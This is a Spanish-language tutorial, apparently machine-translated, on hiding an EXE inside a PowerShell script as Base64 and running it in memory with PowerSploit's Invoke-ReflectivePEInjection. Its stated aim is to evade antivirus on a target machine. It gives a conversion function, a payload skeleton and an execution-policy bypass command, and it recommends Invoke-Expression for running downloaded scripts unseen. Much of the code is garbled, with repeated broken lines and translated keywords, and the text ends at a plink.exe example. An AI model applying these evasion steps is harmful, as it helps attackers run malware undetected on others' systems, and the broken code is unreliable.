Cómo incrustar un archivo EXE en un script de PowerShell
1. No es necesario instalar ningún dispositivo adicional en el objetivo.
2. Potente motor (por ejemplo, puede llamar directamente al código .NET).
3. Los comandos codificados en Base64 se pueden utilizar para ofuscar comandos maliciosos y hacerlos difíciles de detectar. Esta también es una forma de evitar el uso de caracteres especiales, especialmente en ataques avanzados que implican múltiples pasos para separar diferentes cargas de ataque.
4. Utilice Invoke-Expression para interpretar cadenas como comandos de Powershell
. Desde la perspectiva de las pruebas de penetración, esto evita escribir scripts complejos en el disco de destino. Por ejemplo, puede usar Powershell para descargar scripts complejos adicionales y luego interpretar y ejecutar el script descargado en la memoria llamando a
Invoke-Expression. Este proceso también puede evitar la detección por parte del software antivirus.
Queremos ejecutar alguna funcionalidad bastante compleja en el objetivo, que normalmente forma parte de un archivo EXE. No quiero colocar archivos binarios directamente en la máquina de destino, ya que esto podría activar mecanismos antivirus. Entonces quiero ponerlo en un script de Powershell, pero tampoco quiero reescribir todo el script de Powershell.
Finalmente, se me ocurrió una solución.
Integre archivos binarios en scripts de Powershell y ejecútelos directamente desde el script sin escribirlos en el disco.
Los pasos para resolver el problema se muestran a continuación:
1. Codifica el archivo binario en Base64
Se puede utilizar la siguiente función:
función Convert-BinaryToString {
[CmdletBinding()] parámetro (
[cadena] $FilePath
)
prueba {
$ByteArray = [System.IO.File]::ReadTextArray = [System.IO.File]::ReadTextArray = [System.IO.File]::ReadTextArray = [System.IO.File]::ReadTextArray =
2.IO.File]::ReadAllBytes($FilePath);
}
catch {
throw "Error al leer file. Asegúrese de tener los permisos de archivo y que la ruta del archivo sea correcta ";
}
if ($ByteArray) {
$Base64String =. [System.Convert]: :ToBase64String($ByteArray);
}
else {
throw '$ByteArray es $null.';
}
Write-Output -InputObject $Base64String;
}
2. Cree un nuevo script de la siguiente manera
1. Utilice el método del paso anterior. Convierta el archivo EXE en una cadena;
2. Prepare Invoke-ReflectivePEInjection (parte del proyecto Powersploit);
3. a una matriz de bytes;
4. Llame a Invoke-ReflectivePEInjection.
Entonces, un archivo binario es solo una cadena en un script de Powershell, y una vez que la cadena se decodifica en una matriz binaria, puede llamar a Invoke-ReflectivePEInjection para ejecutarlo directamente en la memoria.
El resultado final es el siguiente:
# archivo binario codificado en base64
$InputString = '.......'
función Invocar-ReflectivePEInjection
{
...
...
.....
}
# Convertir cadena binaria a matriz de bytes
$PEBytes = [System.Convert]::FromBase64String($ InputString)
#Run EXE en memoria
Invocar- ReflectantePEInjection -PEBytes $PEBytes -ExeArgs "Arg1 Arg2 Arg3 Arg4"
Ahora el script está listo en Ejecutar en el destino:
powershell -ExecutionPolicy Bypass -File payload.ps1
Dependiendo de los diferentes archivos binarios integrados, pueden ocurrir los siguientes errores:
La plataforma PE y la arquitectura del proceso de carga no coinciden (32/64 bits)
Para resolver este problema, simplemente puede ejecutar PowerShell de 32 bits.
Aquí hay un ejemplo de cómo incrusto plink.exe en payload.ps1: